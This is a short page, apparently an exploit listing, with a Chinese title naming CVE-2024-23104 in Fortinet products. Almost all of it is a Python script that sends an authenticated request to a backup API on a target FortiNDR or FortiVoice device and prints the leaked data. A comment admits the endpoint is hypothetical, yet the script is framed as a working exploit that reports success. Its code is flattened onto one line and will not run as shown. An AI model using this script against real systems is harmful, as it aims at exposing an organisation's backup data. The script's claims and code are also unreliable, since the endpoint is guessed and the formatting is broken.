CVE-2024-23104 Fortinet敏感信息泄露漏洞

import requests # Exploit Title: Fortinet FortiNDR/FortiVoice Backup Information Disclosure # Date: 2024-04-14 # Exploit Author: Analyst # Vendor Homepage: https://www.fortinet.com/ # Version: FortiNDR 7.0-7.6, FortiVoice 7.0-7.0.1 # Target URL target_url = "https://<target_ip>/api/backup" # Hypothetical endpoint based on description # Headers (Authentication token required) headers = { "Authorization": "Bearer <read_only_token>", "User-Agent": "Mozilla/5.0" } try: # Send crafted HTTP request to access backup info response = requests.get(target_url, headers=headers, verify=False) if response.status_code == 200: print("[+] Exploit successful! Backup data accessed.") print(response.text) else: print(f"[-] Exploit failed. Status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")